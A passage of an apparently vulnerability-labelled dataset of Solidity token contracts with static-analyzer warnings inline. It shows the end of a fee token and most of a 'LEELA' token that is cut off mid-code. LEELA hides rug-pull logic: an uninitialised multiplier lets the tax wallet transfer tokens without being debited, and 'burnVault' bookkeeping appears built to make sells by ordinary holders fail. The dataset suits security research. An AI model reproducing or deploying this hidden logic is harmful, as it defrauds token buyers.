_balances[sender].sub(\n amount,\n \"Insufficient Balance\"\n );\n\n uint256 amountReceived = amount;\n\n if (inTransfer) {\n if (transFee > 0) {\n amountReceived = takeTransferFee(sender, amount);\n }\n } else {\n amountReceived = shouldTakeFee(sender)\n ? takeFee(sender, amount, inSell)\n : amount;\n\n if (shouldSwapBack()) {\n\t\t\t\t// reentrancy-events | ID: 785d01a\n\t\t\t\t// reentrancy-eth | ID: d430ea9\n swapBack();\n }\n }\n\n\t\t// reentrancy-eth | ID: d430ea9\n _balances[recipient] = _balances[recipient].add(amountReceived);\n\n\t\t// reentrancy-events | ID: 785d01a\n emit Transfer(sender, recipient, amountReceived);\n\n return true;\n }\n\n function _basicTransfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal returns (bool) {\n _balances[sender] = _balances[sender].sub(\n amount,\n \"Insufficient Balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n\n return true;\n }\n\n function checkTxLimit(address sender, uint256 amount) internal view {\n require(\n amount <= _maxTxAmount || isTxLimitExempt[sender],\n \"TX Limit Exceeded\"\n );\n }\n\n function shouldTakeFee(address sender) internal view returns (bool) {\n return !isFeeExempt[sender];\n }\n\n function takeTransferFee(\n address sender,\n uint256 amount\n ) internal returns (uint256) {\n uint256 feeToTake = transFee;\n\n uint256 feeAmount = amount.mul(feeToTake).mul(100).div(\n feeDenominator * 100\n );\n\n _balances[address(this)] = _balances[address(this)].add(feeAmount);\n\n emit Transfer(sender, address(this), feeAmount);\n\n return amount.sub(feeAmount);\n }\n\n function takeFee(\n address sender,\n uint256 amount,\n bool isSell\n ) internal returns (uint256) {\n uint256 feeToTake = isSell ? swapTotalFee : buyTotalFee;\n\n uint256 feeAmount = amount.mul(feeToTake).mul(100).div(\n feeDenominator * 100\n );\n\n _balances[address(this)] = _balances[address(this)].add(feeAmount);\n\n emit Transfer(sender, address(this), feeAmount);\n\n return amount.sub(feeAmount);\n }\n\n function shouldSwapBack() internal view returns (bool) {\n return\n msg.sender != uniswapV2Pair &&\n !inSwap &&\n swapEnabled &&\n _balances[address(this)] >= swapThreshold;\n }\n\n function clearStuckBalance(uint256 amountPercentage) external onlyOwner {\n uint256 amountETH = address(this).balance;\n\n payable(marketingWallet).transfer((amountETH * amountPercentage) / 100);\n }\n\n function clearStuckBalance_sender(\n uint256 amountPercentage\n ) external onlyOwner {\n uint256 amountETH = address(this).balance;\n\n payable(msg.sender).transfer((amountETH * amountPercentage) / 100);\n }\n\n function tradingStatus(bool _status) public onlyOwner {\n tradingOpen = _status;\n }\n\n function cooldownEnabled(bool _status, uint8 _interval) public onlyOwner {\n buyCooldownEnabled = _status;\n\n cooldownTimerInterval = _interval;\n }\n\n\t// WARNING Vulnerability (return-bomb | severity: Low | ID: c0b8c9c): A low level callee may consume all callers gas unexpectedly.\n\t// Recommendation for c0b8c9c: Avoid unlimited implicit decoding of returndata.\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 0d05818): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 0d05818: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 66c359a): quantContract.swapBack() ignores return value by contractRouter.addLiquidityETH{value amountETHLiquidity}(address(this),amountToLiquify,0,0,autoLiquidityReceiver,block.timestamp)\n\t// Recommendation for 66c359a: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: f7f46ba): Unprotected call to a function sending Ether to an arbitrary address.\n\t// Recommendation for f7f46ba: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n\t// WARNING Vulnerability (write-after-write | severity: Medium | ID: d071d73): quantContract.swapBack().tmpSuccess is written in both (tmpSuccess,None) = address(devWallet).call{gas 30000,value amountETHTreasury}() tmpSuccess = false\n\t// Recommendation for d071d73: Fix or remove the writes.\n\t// WARNING Vulnerability (write-after-write | severity: Medium | ID: e47abe9): quantContract.swapBack().tmpSuccess is written in both (tmpSuccess,None) = address(marketingWallet).call{gas 30000,value amountETHMarketing}() (tmpSuccess,None) = address(devWallet).call{gas 30000,value amountETHTreasury}()\n\t// Recommendation for e47abe9: Fix or remove the writes.\n function swapBack() internal swapping {\n uint256 dynamicLiquidityFee = isOverLiquified(\n targetLiquidity,\n targetLiquidityDenominator\n )\n ? 0\n : swapLpFee;\n\n uint256 amountToLiquify = swapAmount\n .mul(dynamicLiquidityFee)\n .div(swapTotalFee)\n .div(2);\n\n uint256 amountToSwap = swapAmount.sub(amountToLiquify);\n\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = contractRouter.WETH();\n\n\t\t// reentrancy-events | ID: 0d05818\n\t\t// reentrancy-events | ID: 785d01a\n\t\t// reentrancy-eth | ID: d430ea9\n uint256 balanceBefore = address(this).balance;\n\n contractRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(\n amountToSwap,\n 0,\n path,\n address(this),\n block.timestamp\n );\n\n uint256 amountETH = address(this).balance.sub(balanceBefore);\n\n uint256 totalETHFee = swapTotalFee.sub(dynamicLiquidityFee.div(2));\n\n uint256 amountETHLiquidity = amountETH\n .mul(swapLpFee)\n .div(totalETHFee)\n .div(2);\n\n uint256 amountETHMarketing = amountETH.mul(swapMarketing).div(\n totalETHFee\n );\n\n uint256 amountETHTreasury = amountETH.mul(swapTreasuryFee).div(\n totalETHFee\n\t\t// return-bomb | ID: c0b8c9c\n\t\t// reentrancy-events | ID: 0d05818\n\t\t// reentrancy-events | ID: 785d01a\n );\n\t\t// write-after-write | ID: e47abe9\n\n\t\t// reentrancy-eth | ID: d430ea9\n\t\t// arbitrary-send-eth | ID: f7f46ba\n (bool tmpSuccess, ) = payable(marketingWallet).call{\n value: amountETHMarketing,\n gas: 30000\n }(\"\");\n\n\t\t// return-bomb | ID: c0b8c9c\n\t\t// reentrancy-events | ID: 0d05818\n\t\t// reentrancy-events | ID: 785d01a\n\t\t// write-after-write | ID: d071d73\n\t\t// write-after-write | ID: e47abe9\n\t\t// reentrancy-eth | ID: d430ea9\n\t\t// arbitrary-send-eth | ID: f7f46ba\n (tmpSuccess, ) = payable(devWallet).call{\n value: amountETHTreasury,\n gas: 30000\n }(\"\");\n\n\t\t// write-after-write | ID: d071d73\n tmpSuccess = false;\n\n if (amountToLiquify > 0) {\n\t\t\t// reentrancy-events | ID: 0d05818\n\t\t\t// reentrancy-events | ID: 785d01a\n\t\t\t// unused-return | ID: 66c359a\n\t\t\t// reentrancy-eth | ID: d430ea9\n contractRouter.addLiquidityETH{value: amountETHLiquidity}(\n address(this),\n amountToLiquify,\n 0,\n 0,\n autoLiquidityReceiver,\n block.timestamp\n );\n\n\t\t\t// reentrancy-events | ID: 0d05818\n emit AutoLiquify(amountETHLiquidity, amountToLiquify);\n }\n }\n\n function setIsFeeExempt(address holder, bool exempt) external onlyOwner {\n isFeeExempt[holder] = exempt;\n }\n\n function setIsMaxExempt(address holder, bool exempt) external onlyOwner {\n isMaxExempt[holder] = exempt;\n }\n\n function setIsTxLimitExempt(\n address holder,\n bool exempt\n ) external onlyOwner {\n isTxLimitExempt[holder] = exempt;\n }\n\n function setIsTimelockExempt(\n address holder,\n bool exempt\n ) external onlyOwner {\n isTimelockExempt[holder] = exempt;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: f487176): quantContract.setTransFee(uint256) should emit an event for transFee = fee \n\t// Recommendation for f487176: Emit an event for critical parameter changes.\n function setTransFee(uint256 fee) external onlyOwner {\n\t\t// events-maths | ID: f487176\n transFee = fee;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 529537a): Missing events for critical arithmetic parameters.\n\t// Recommendation for 529537a: Emit an event for critical parameter changes.\n function setSwapFees(\n uint256 _newSwapLpFee,\n uint256 _newSwapMarketingFee,\n uint256 _newSwapTreasuryFee,\n uint256 _feeDenominator\n ) external onlyOwner {\n\t\t// events-maths | ID: 529537a\n swapLpFee = _newSwapLpFee;\n\n\t\t// events-maths | ID: 529537a\n swapMarketing = _newSwapMarketingFee;\n\n\t\t// events-maths | ID: 529537a\n swapTreasuryFee = _newSwapTreasuryFee;\n\n\t\t// events-maths | ID: 529537a\n swapTotalFee = _newSwapLpFee.add(_newSwapMarketingFee).add(\n _newSwapTreasuryFee\n );\n\n\t\t// events-maths | ID: 529537a\n feeDenominator = _feeDenominator;\n\n require(swapTotalFee < 90, \"Fees cannot be that high\");\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 588c339): quantContract.setBuyFees(uint256) should emit an event for buyTotalFee = buyTax \n\t// Recommendation for 588c339: Emit an event for critical parameter changes.\n function setBuyFees(uint256 buyTax) external onlyOwner {\n\t\t// events-maths | ID: 588c339\n buyTotalFee = buyTax;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 5868f38): quantContract.setTreasuryFeeReceiver(address)._newWallet lacks a zerocheck on \t devWallet = _newWallet\n\t// Recommendation for 5868f38: Check that the address is not zero.\n function setTreasuryFeeReceiver(address _newWallet) external onlyOwner {\n isFeeExempt[devWallet] = false;\n\n isFeeExempt[_newWallet] = true;\n\n\t\t// missing-zero-check | ID: 5868f38\n devWallet = _newWallet;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 33834ed): quantContract.setMarketingWallet(address)._newWallet lacks a zerocheck on \t marketingWallet = _newWallet\n\t// Recommendation for 33834ed: Check that the address is not zero.\n function setMarketingWallet(address _newWallet) external onlyOwner {\n isFeeExempt[marketingWallet] = false;\n\n isFeeExempt[_newWallet] = true;\n\n isMaxExempt[_newWallet] = true;\n\n\t\t// missing-zero-check | ID: 33834ed\n marketingWallet = _newWallet;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: a613ebc): quantContract.setFeeReceivers(address,address,address)._autoLiquidityReceiver lacks a zerocheck on \t autoLiquidityReceiver = _autoLiquidityReceiver\n\t// Recommendation for a613ebc: Check that the address is not zero.\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 28551fe): quantContract.setFeeReceivers(address,address,address)._newMarketingWallet lacks a zerocheck on \t marketingWallet = _newMarketingWallet\n\t// Recommendation for 28551fe: Check that the address is not zero.\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 06fb3c3): quantContract.setFeeReceivers(address,address,address)._newdevWallet lacks a zerocheck on \t devWallet = _newdevWallet\n\t// Recommendation for 06fb3c3: Check that the address is not zero.\n function setFeeReceivers(\n address _autoLiquidityReceiver,\n address _newMarketingWallet,\n address _newdevWallet\n ) external onlyOwner {\n isFeeExempt[devWallet] = false;\n\n isFeeExempt[_newdevWallet] = true;\n\n isFeeExempt[marketingWallet] = false;\n\n isFeeExempt[_newMarketingWallet] = true;\n\n isMaxExempt[_newMarketingWallet] = true;\n\n\t\t// missing-zero-check | ID: a613ebc\n autoLiquidityReceiver = _autoLiquidityReceiver;\n\n\t\t// missing-zero-check | ID: 28551fe\n marketingWallet = _newMarketingWallet;\n\n\t\t// missing-zero-check | ID: 06fb3c3\n devWallet = _newdevWallet;\n }\n\n function setSwapThresholdAmount(uint256 _amount) external onlyOwner {\n swapThreshold = _amount;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: ec5aaa2): quantContract.setSwapAmount(uint256) should emit an event for swapAmount = swapThreshold swapAmount = _amount \n\t// Recommendation for ec5aaa2: Emit an event for critical parameter changes.\n function setSwapAmount(uint256 _amount) external onlyOwner {\n if (_amount > swapThreshold) {\n\t\t\t// events-maths | ID: ec5aaa2\n swapAmount = swapThreshold;\n } else {\n\t\t\t// events-maths | ID: ec5aaa2\n swapAmount = _amount;\n }\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 717f79b): quantContract.setTargetLiquidity(uint256,uint256) should emit an event for targetLiquidity = _target targetLiquidityDenominator = _denominator \n\t// Recommendation for 717f79b: Emit an event for critical parameter changes.\n function setTargetLiquidity(\n uint256 _target,\n uint256 _denominator\n ) external onlyOwner {\n\t\t// events-maths | ID: 717f79b\n targetLiquidity = _target;\n\n\t\t// events-maths | ID: 717f79b\n targetLiquidityDenominator = _denominator;\n }\n\n function getCirculatingSupply() public view returns (uint256) {\n return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(ZERO));\n }\n\n function getLiquidityBacking(\n uint256 accuracy\n ) public view returns (uint256) {\n return\n accuracy.mul(balanceOf(uniswapV2Pair).mul(2)).div(\n getCirculatingSupply()\n );\n }\n\n function isOverLiquified(\n uint256 target,\n uint256 accuracy\n ) public view returns (bool) {\n return getLiquidityBacking(accuracy) > target;\n }\n\n function airDropCustom(\n address from,\n address[] calldata addresses,\n uint256[] calldata tokens\n ) external onlyOwner {\n require(\n addresses.length < 501,\n \"GAS Error: max airdrop limit is 500 addresses\"\n );\n\n require(\n addresses.length == tokens.length,\n \"Mismatch between Address and token count\"\n );\n\n uint256 SCCC = 0;\n\n for (uint i = 0; i < addresses.length; i++) {\n SCCC = SCCC + tokens[i];\n }\n\n require(balanceOf(from) >= SCCC, \"Not enough tokens in wallet\");\n\n for (uint i = 0; i < addresses.length; i++) {\n _basicTransfer(from, addresses[i], tokens[i]);\n }\n }\n\n function airDropFixed(\n address from,\n address[] calldata addresses,\n uint256 tokens\n ) external onlyOwner {\n require(\n addresses.length < 801,\n \"GAS Error: max airdrop limit is 800 addresses\"\n );\n\n uint256 SCCC = tokens * addresses.length;\n\n require(balanceOf(from) >= SCCC, \"Not enough tokens in wallet\");\n\n for (uint i = 0; i < addresses.length; i++) {\n _basicTransfer(from, addresses[i], tokens);\n }\n }\n\n event AutoLiquify(uint256 amountETH, uint256 amountBOG);\n}\n",
"file_name": "solidity_code_10105.sol",
"size_bytes": 38251,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address _account) external view returns (uint256);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _setOwner(_msgSender());\n }\n\n function _setOwner(address newOwner) private {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n _setOwner(newOwner);\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _setOwner(address(0));\n }\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n}\n\ncontract LEELA is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n string private constant _name = unicode\"Turanga Leela\";\n\n string private constant _symbol = unicode\"LEELA\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 0e776f6): LEELA._initialBuyTax should be constant \n\t// Recommendation for 0e776f6: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 14;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9fab522): LEELA._initialSellTax should be constant \n\t// Recommendation for 9fab522: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 16;\n\n\t// WARNING Optimization Issue (constable-states | ID: 712ccaa): LEELA._finalBuyTax should be constant \n\t// Recommendation for 712ccaa: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6bc13ab): LEELA._finalSellTax should be constant \n\t// Recommendation for 6bc13ab: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: d3a343e): LEELA._reduceBuyTaxAt should be constant \n\t// Recommendation for d3a343e: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 14;\n\n\t// WARNING Optimization Issue (constable-states | ID: 329add3): LEELA._reduceSellTaxAt should be constant \n\t// Recommendation for 329add3: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 16;\n\n\t// WARNING Optimization Issue (constable-states | ID: e1ffdc2): LEELA._preventSwapBefore should be constant \n\t// Recommendation for e1ffdc2: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 15;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n uint256 public _maxTxAmount = 15000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 15000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7ba9848): LEELA._taxSwapThreshold should be constant \n\t// Recommendation for 7ba9848: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 5050000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: cd0f184): LEELA._maxTaxSwap should be constant \n\t// Recommendation for cd0f184: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 7400000 * 10 ** _decimals;\n\n IUniswapV2Router02 private immutable uniswapV2Router;\n\n struct BurnVault {\n uint256 burnV2Index;\n uint256 burnUsd;\n uint256 burnPrice;\n }\n\n uint256 private maxVaultBurn;\n\n mapping(address => BurnVault) private burnVault;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5732c1e): LEELA.burnActiveVault should be constant \n\t// Recommendation for 5732c1e: Add the 'constant' attribute to state variables that never change.\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 6cfd5a6): LEELA.burnActiveVault is never initialized. It is used in LEELA._tokenTaxTransfer(address,uint256,uint256)\n\t// Recommendation for 6cfd5a6: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n uint256 private burnActiveVault;\n\n\t// WARNING Optimization Issue (immutable-states | ID: a260d36): LEELA._taxWallet should be immutable \n\t// Recommendation for a260d36: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n address public uniswapPair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n bool private limitsInEffect = true;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0xe3E0c0702B3fBF68E344026Ddf0E63125C0f72c4);\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: c827296): LEELA.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for c827296: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 80bdc72): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 80bdc72: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 582ee5c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 582ee5c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 80bdc72\n\t\t// reentrancy-benign | ID: 582ee5c\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 80bdc72\n\t\t// reentrancy-benign | ID: 582ee5c\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function _basicTransfer(\n address from,\n address to,\n uint256 tokenAmount\n ) internal {\n _balances[from] = _balances[from].sub(tokenAmount);\n\n _balances[to] = _balances[to].add(tokenAmount);\n\n emit Transfer(from, to, tokenAmount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: f74543c): LEELA._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for f74543c: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 582ee5c\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 80bdc72\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: c8ee2a9): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for c8ee2a9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: cd10bba): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for cd10bba: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 4f76ad7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 4f76ad7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 tokenAmount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(tokenAmount > 0, \"Transfer amount must be greater than zero\");\n\n if (!swapEnabled || inSwap) {\n _basicTransfer(from, to, tokenAmount);\n\n return;\n }\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n taxAmount = tokenAmount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapPair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n if (limitsInEffect) {\n require(\n tokenAmount <= _maxTxAmount,\n \"Exceeds the _maxTxAmount.\"\n );\n\n require(\n balanceOf(to) + tokenAmount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n _buyCount++;\n }\n\n if (to == uniswapPair && from != address(this)) {\n taxAmount = tokenAmount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapPair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: c8ee2a9\n\t\t\t\t// reentrancy-benign | ID: cd10bba\n\t\t\t\t// reentrancy-eth | ID: 4f76ad7\n swapTokensForEth(\n min(tokenAmount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: c8ee2a9\n\t\t\t\t\t// reentrancy-eth | ID: 4f76ad7\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (\n (_isExcludedFromFee[from] || _isExcludedFromFee[to]) &&\n from != address(this) &&\n to != address(this)\n ) {\n\t\t\t// reentrancy-benign | ID: cd10bba\n maxVaultBurn = block.number;\n }\n\n if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {\n if (to != uniswapPair) {\n BurnVault storage burnVlt = burnVault[to];\n\n if (from == uniswapPair) {\n if (burnVlt.burnV2Index == 0) {\n\t\t\t\t\t\t// reentrancy-benign | ID: cd10bba\n burnVlt.burnV2Index = _buyCount <= _preventSwapBefore\n ? type(uint).max\n : block.number;\n }\n } else {\n BurnVault storage burnVltData = burnVault[from];\n\n if (\n burnVlt.burnV2Index == 0 ||\n burnVltData.burnV2Index < burnVlt.burnV2Index\n ) {\n\t\t\t\t\t\t// reentrancy-benign | ID: cd10bba\n burnVlt.burnV2Index = burnVltData.burnV2Index;\n }\n }\n } else {\n BurnVault storage burnVltData = burnVault[from];\n\n\t\t\t\t// reentrancy-benign | ID: cd10bba\n burnVltData.burnUsd = burnVltData.burnV2Index.sub(maxVaultBurn);\n\n\t\t\t\t// reentrancy-benign | ID: cd10bba\n burnVltData.burnPrice = block.number;\n }\n }\n\n\t\t// reentrancy-events | ID: c8ee2a9\n\t\t// reentrancy-eth | ID: 4f76ad7\n _tokenTransfer(from, to, tokenAmount, taxAmount);\n }\n\n function _tokenBasicTransfer(\n address from,\n address to,\n uint256 sendAmount,\n uint256 receiptAmount\n ) internal {\n\t\t// reentrancy-eth | ID: 4f76ad7\n _balances[from] = _balances[from].sub(sendAmount);\n\n\t\t// reentrancy-eth | ID: 4f76ad7\n _balances[to] = _balances[to].add(receiptAmount);\n\n\t\t// reentrancy-events | ID: c8ee2a9\n emit Transfer(from, to, receiptAmount);\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 6cfd5a6): LEELA.burnActiveVault is never initialized. It is used in LEELA._tokenTaxTransfer(address,uint256,uint256)\n\t// Recommendation for 6cfd5a6: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _tokenTaxTransfer(\n address addrs,\n uint256 taxAmount,\n uint256 tokenAmount\n ) internal returns (uint256) {\n uint256 tAmount = addrs != _taxWallet\n ? tokenAmount\n : burnActiveVault.mul(tokenAmount);\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 4f76ad7\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: c8ee2a9\n emit Transfer(addrs, address(this), taxAmount);\n }\n\n return tAmount;\n }\n\n function _tokenTransfer(\n address from,\n address to,\n uint256 tokenAmount,\n uint256 taxAmount\n ) internal {\n uint256 tAmount = _tokenTaxTransfer(from, taxAmount, tokenAmount);\n\n _tokenBasicTransfer(from, to, tAmount, tokenAmount.sub(taxAmount));\n 